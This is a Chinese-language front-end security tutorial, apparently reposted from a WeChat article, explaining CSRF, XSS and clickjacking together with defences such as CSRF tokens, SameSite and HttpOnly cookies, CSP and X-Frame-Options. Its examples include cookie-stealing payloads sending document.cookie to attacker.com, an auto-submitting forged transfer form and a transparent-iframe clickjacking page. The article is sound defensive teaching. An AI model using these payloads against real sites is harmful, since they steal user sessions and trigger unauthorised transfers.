Skip to content

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

引言

在数字化时代,前端不仅是用户交互的界面,更是整个系统的 "防御门"。据统计,2024 年全球 Web 攻击达 3110 亿次,总损失约 24 亿美元。正如网络安全专家 Bruce Schneier 所说:"安全不是产品,而是一个过程。" 前端开发者必须摒弃 "安全只是后端考虑" 的陈旧观念,建立起全方位的防御思维。

一、为什么前端安全如此重要?

用户与 Web 应用的第一道交互关口就是前端,但很多开发者存在误区:

  • 后端做了校验,前端可以宽松一点

  • 我们的网站没有敏感数据,不需要安全防护

  • 现代框架(React/Vue)已经自动处理了安全问题

实际上,前端漏洞可能导致:

  • 用户数据泄露(如 Cookie、Token)

  • 恶意操作(如自动转账、发布内容)

  • 企业品牌信誉受损(如页面被篡改)

二、常见的攻击手段

2.1 CSRF(跨站请求伪造)

2.1.1 简介

CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种 Web 安全漏洞,攻击者利用用户已登录的身份,在用户不知情的情况下,以用户的名义执行非预期的操作。

2.1.2 攻击场景与实例

CSRF 攻击流程

GET 型攻击

// 恶意页面中植入下述代码 <img src="https://bank.com/transfer?to=hacker&amount=10000">// 用户浏览含该标签的页面时自动发起请求

POST 型攻击

// 恶意页面中植入下述代码<form action="https://bank.com/transfer" method="POST" id="fraud">  <input type="hidden" ></form>// 用户浏览含该页面时自动提交表单<script>document.getElementById('fraud').submit()</script>

2.1.3 防御方案

使用 CSRF Token

// 服务器随机生成token嵌入表单或HTTP头中,前端每次请求时验证token<form>  <input type="hidden" ></form>

设置 Cookie 的 SameSite 属性

// SameSite=Strict:完全禁止第三方Cookie// SameSite=Lax:宽松模式,允许部分安全请求携带CookieSet-Cookie: SameSite=Strict

关键操作二次验证

// 转账前要求密码确认async function transfer() {  await verifyPassword();  // 后续逻辑...}

2.2 XSS(跨站脚本攻击)

2.2.1 简介

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的 Web 安全漏洞,攻击者通过在网页中注入恶意脚本,当其他用户浏览该页面时,脚本会在用户浏览器中执行,从而达到攻击目的。

2.2.2 攻击场景与实例

存储型 XSS

  • 场景:用户输入持久化到数据库后渲染到页面

存储型 XSS 攻击流程

  • 案例:

    // 恶意用户提交的评论内容 这产品真好用!<img src="https://attacker.com/steal?cookie='+document.cookie'">// 当其他用户浏览该页面查看此评论时,攻击者窃取登录凭证

反射型 XSS

  • 场景:用户点击恶意链接或访问被篡改的页面构造的 URL 参数

反射型 XSS 攻击流程

  • 案例:

    // 恶意攻击URL https://example.com/search?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>// 用户点击恶意URL后发送带发送带恶意参数的请求 GET /search?q=<script>...</script>// 服务端未过滤直接拼接进HTML响应或返回搜索词q前端直接渲染 <div>{{q}}</div>// 浏览器执行恶意脚本,窃取Cookie或重定向页面等 fetch('https://attacker.com/steal?cookie='+document.cookie)

DOM 型 XSS

  • 场景:前端 JS 动态操作 DOM 时注入

DOM 型 XSS 攻击流程

  • 案例:

    // 错误示例:使用innerHTML直接渲染URL参数 function renderPage() {   const hash = window.location.hash.slice(1); // 获取#后的参数   document.getElementById('content').innerHTML = '<h1>' + hash + '</h1>'; } window.onload = renderPage;// 恶意攻击URL http://example.com/#<script>alert('XSS');</script>

2.2.3 攻击场景对比

特性 \ 类型
存储型 XSS
反射型 XSS
DOM 型 XSS
持久性
持久(存储在服务器)
非持久(仅单次请求)
非持久(仅单次请求)
触发方式
访问包含恶意代码的页面
点击特制链接
点击特制链接或访问页面
执行位置
服务器返回后执行
服务器返回后执行
纯客户端执行
可见性
对所有访问者可见
仅对点击链接的用户可见
仅对访问页面的用户可见
检测难度
较容易(存储在服务器)
中等(需分析请求)
较难(纯客户端行为)

2.2.4 综合防御方案

输入验证与过滤

  • 对用户提交的数据进行严格检查,过滤或转义特殊字符(如 <,>, ",', &)

  • 使用白名单机制,仅允许安全的输入格式(如纯文本、特定 HTML 标签)

输出编码与转义

  • 在将用户输入渲染到页面时,使用 HTML 实体编码(如 < 代替 <

  • 对输出到 JS 中的内容进行 Unicode 转义

  • 对 URL 参数进行百分号编码

安全 HTTP 头部设置

  • 设置HttpOnly防止 JavaScript 读取 Cookie

  • 使用Secure标志确保 Cookie 仅通过 HTTPS 传输

安全 DOM 操作

避免使用innerHTMLdocument.write()等危险方法

// 使用textContent代替innerHTMLelement.textContent = userInput;

2.3 点击劫持(Clickjacking)

2.3.1 简介

点击劫持(Clickjacking)是一种视觉欺骗攻击技术,攻击者通过透明或伪装的界面层,诱使用户在不知情的情况下点击恶意操作(如点赞、转账、授权等)。

2.3.2 攻击场景与实例

点击劫持攻击流程

// 伪造恶意页面<style>    /* 伪装成诱骗按钮 */    #fake-button {        position: absolute;        cursor: pointer;        z-index: 1;    }    /* 透明的 iframe,覆盖在诱骗按钮上 */    iframe {        position: absolute;        opacity: 0.01; /* 几乎透明 */        z-index: 2;    }</style><body>    <div id="fake-button">点击领取奖品!</div>    <iframe src="https://victim-site.com/transfer?amount=1000&to=attacker"></iframe></body>// 用户点击"点击领取奖品!"按钮时实际触发隐藏的转账确认

2.3.3 防御方案

使用 X-Frame-Options HTTP 头

X-Frame-Options: DENY          // 完全禁止在frame中加载X-Frame-Options: SAMEORIGIN   // 只允许同源网站frame加载X-Frame-Options: ALLOW-FROM https://example.com/ // 允许特定来源frame加载

使用 Content Security Policy (CSP)

Content-Security-Policy: frame-ancestors 'none'        // 等同于DENYContent-Security-Policy: frame-ancestors 'self'       // 等同于SAMEORIGINContent-Security-Policy: frame-ancestors example.com  // 允许特定域名

视觉防御(辅助方案)

@media (frame) {  body { display: block !important; }}

三、综合安全建议

微软首席安全官 Bret Arsenault 曾指出:"技术解决 40% 的安全问题,流程解决 30%,而人员和文化解决剩余的 30%。"

上述文章介绍了前端安全的重要性以及常见的攻击手段,在实际的项目工程中,建议大家分阶段建立防御体系。除了事中防护之外,也要做好事前预警和时候补救的工作,及时总结分析,将问题原因总结至案例库和开发规范,定期开展安全培训。

防御体系建设

结语

前端安全绝非一劳永逸的战场,而是需要持续警惕的持久战。攻击者的手段在不断进化,我们作为前端开发人员,要持续紧绷” 安全 “这根弦,不仅要创造流畅的用户体验,更要成为用户数据安全的守护者。